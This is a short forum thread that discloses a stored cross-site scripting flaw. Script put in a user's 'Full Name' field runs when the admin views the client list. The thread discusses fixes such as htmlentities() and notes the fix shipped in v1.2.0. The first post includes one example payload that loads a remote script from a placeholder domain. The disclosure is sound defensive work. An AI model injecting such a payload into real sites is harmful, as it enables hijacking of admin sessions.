XSS vulnerability

[jadoba]

Javascript tags can be included in the "Full Name" field of a user's account settings. This code is then executed by the admin when the "view clients" page is brought up. Big problems can result from this. Sorry that I do not have a patch to submit. Filters for greater-than and less-than signs and their encoded counterparts would be a good idea. IMHO, limiting the name's character count to a set maximum would just be a band-aid for this exploit.

For instance, something like this in the Real Name field entered by a regular registrant:

notarealname <SCRIPT SRC=http://domain.tld/badscript.js></SCRIPT>

Can anyone reproduce this vulnerability  or am I the only one who sees it?

I suspect that it is also possible to do something similar to this in a product review submission, but I do not know and have not tested it yet.

[Jenius]

IMHO, limiting the name's character count to a set maximum would just be a band-aid for this exploit.

Even if it is just a band-aid; a band-aid is still better than an open wound. Until someone comes up with a real fix, limiting the length of the account name variable (in your SQL database) is still better than nothing and I'd recommend it to anyone that knows how to do it.

[oracle3410]

htmlentities() would probably work.

[cpradio]

This is now in v1.2.0